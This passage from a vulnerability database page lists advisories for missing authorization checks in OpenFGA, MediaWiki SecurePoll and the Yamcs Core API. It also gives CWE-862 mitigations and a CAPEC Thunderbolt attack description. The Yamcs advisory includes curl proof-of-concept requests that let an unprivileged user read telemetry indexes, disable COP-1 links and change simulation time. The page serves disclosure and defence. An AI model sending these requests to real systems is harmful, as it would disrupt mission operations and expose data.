            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-25T20:13:38Z",
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\nDuring our internal security assessment, it was discovered that `streamed-list-objects` endpoint was not validating the authorization header resulting in the disclosure of objects in the store.\n\n### Am I Affected?\nYou are affected by this vulnerability if you are using `openfga/openfga` version `v0.2.3` or prior and you are exposing the OpenFGA service to the internet.\n\n### How to fix that?\nUpgrade to version `v0.2.4`.\n\n### Backward Compatibility\nThis update is backward compatible.",
  "id": "GHSA-95x7-mh78-7w2r",
  "modified": "2022-10-27T18:35:10Z",
  "published": "2022-10-25T20:13:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-95x7-mh78-7w2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/commit/779d73d4b6d067ee042ec9b59fec707eed71e42f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/releases/tag/v0.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA subject to Information Disclosure via streamed-list-objects endpoint"
}

GHSA-95XF-VJ6C-3PJ7

Vulnerability from github – Published: 2025-07-04 18:30 – Updated: 2025-07-08 18:31
VLAI
Details

SetTranslationHandler.php does not validate that the user is an election admin, allowing any (even unauthenticated) user to change election-related translation text. While partially broken in newer MediaWiki versions, the check is still missing.

This issue affects Mediawiki - SecurePoll extension: from 1.39.X before 1.39.13, from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-53485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T18:15:23Z",
    "severity": "HIGH"
  },
  "details": "SetTranslationHandler.php does not validate that the user is an election admin, allowing any (even unauthenticated) user to change election-related translation text. While partially broken in newer MediaWiki versions, the check is still missing.\n\n\n\n\nThis issue affects Mediawiki - SecurePoll extension: from 1.39.X before 1.39.13, from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.",
  "id": "GHSA-95xf-vj6c-3pj7",
  "modified": "2025-07-08T18:31:07Z",
  "published": "2025-07-04T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53485"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/149668"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T392341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-962X-CCWF-8X6P

Vulnerability from github – Published: 2026-08-28 17:09 – Updated: 2026-08-28 17:09
VLAI
Summary
Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities
Details

Summary

Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.

Details

Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:

  1. IndexesApi.java (Information Disclosure): Unlike PacketsApi.java, which filters results using ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods in IndexesApi (such as listPacketIndex and listEventIndex) directly retrieve and return archive records from the CcsdsTmIndex without verifying if the user has the required Object Privileges.
  2. Cop1Api.java (Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiring SystemPrivilege.ControlLinks. However, endpoints in Cop1Api (e.g., disable, resume, initialize, updateConfig) process link state alterations without calling ctx.checkSystemPrivilege(...).
  3. TimeApi.java (Denial of Service / Integrity): The setTime method allows modification of the global SimulationTimeService (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.

PoC

Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).

PoC 1: Extracting Packet Indexes (IndexesApi)

curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
     -u "user_without_priv:password"

Result: Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.

PoC 2: Disabling COP-1 Protocol (Cop1Api)

curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{}'

Result: The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.

PoC 3: Manipulating Simulation Time (TimeApi)

curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{"speed": 10.0}'

Result: The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.

Impact

The vulnerability impacts instances of Yamcs exposing the REST API. * Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata. * Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.

PoC Images:

  • Check user permission image

  • Check admin permission and access API: image

  • Check user no permission - get response same with user admin: image image

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nMultiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged \"Guest\"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.\n\n### Details\nYamcs utilizes a robust Role-Based Access Control (RBAC) model with `SystemPrivilege` and `ObjectPrivilege` to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:\n\n1.  **`IndexesApi.java` (Information Disclosure):** Unlike `PacketsApi.java`, which filters results using `ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName)`, methods in `IndexesApi` (such as `listPacketIndex` and `listEventIndex`) directly retrieve and return archive records from the `CcsdsTmIndex` without verifying if the user has the required Object Privileges.\n2.  **`Cop1Api.java` (Denial of Service / Integrity):** Modifying the COP-1 telecommand protocol state is an administrative action requiring `SystemPrivilege.ControlLinks`. However, endpoints in `Cop1Api` (e.g., `disable`, `resume`, `initialize`, `updateConfig`) process link state alterations without calling `ctx.checkSystemPrivilege(...)`.\n3.  **`TimeApi.java` (Denial of Service / Integrity):** The `setTime` method allows modification of the global `SimulationTimeService` (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.\n\n### PoC\n**Prerequisite:** Obtain valid credentials for a completely unprivileged user (e.g., `user_without_priv:password` with no roles assigned).\n\n**PoC 1: Extracting Packet Indexes (`IndexesApi`)**\n```bash\ncurl -s -X GET \"http://localhost:8090/api/archive/simulator/packet-index\" \\\n     -u \"user_without_priv:password\"\n```\n*Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.\n\n**PoC 2: Disabling COP-1 Protocol (`Cop1Api`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/cop1/simulator/tc_sim:disable\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{}\u0027\n```\n*Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return `400 BadRequestException` confirming the link does not support COP-1. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n**PoC 3: Manipulating Simulation Time (`TimeApi`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/instances/simulator:setTime\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{\"speed\": 10.0}\u0027\n```\n*Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns `400 BadRequestException: Cannot set time for a non-simulation TimeService`. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n### Impact\nThe vulnerability impacts instances of Yamcs exposing the REST API. \n*   **Confidentiality:** Unprivileged users can enumerate all historical telemetry packet and event metadata.\n*   **Integrity \u0026 Availability:** Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.\n\n### PoC Images:\n- Check user permission\n\u003cimg width=\"1218\" height=\"951\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3\" /\u003e\n\n- Check admin permission and access API:\n\u003cimg width=\"1768\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab\" /\u003e\n\n- Check user no permission - get response same with user admin:\n\u003cimg width=\"1264\" height=\"885\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4\" /\u003e\n\u003cimg width=\"1243\" height=\"358\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4\" /\u003e",
  "id": "GHSA-962x-ccwf-8x6p",
  "modified": "2026-08-28T17:09:35Z",
  "published": "2026-08-28T17:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-962x-ccwf-8x6p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.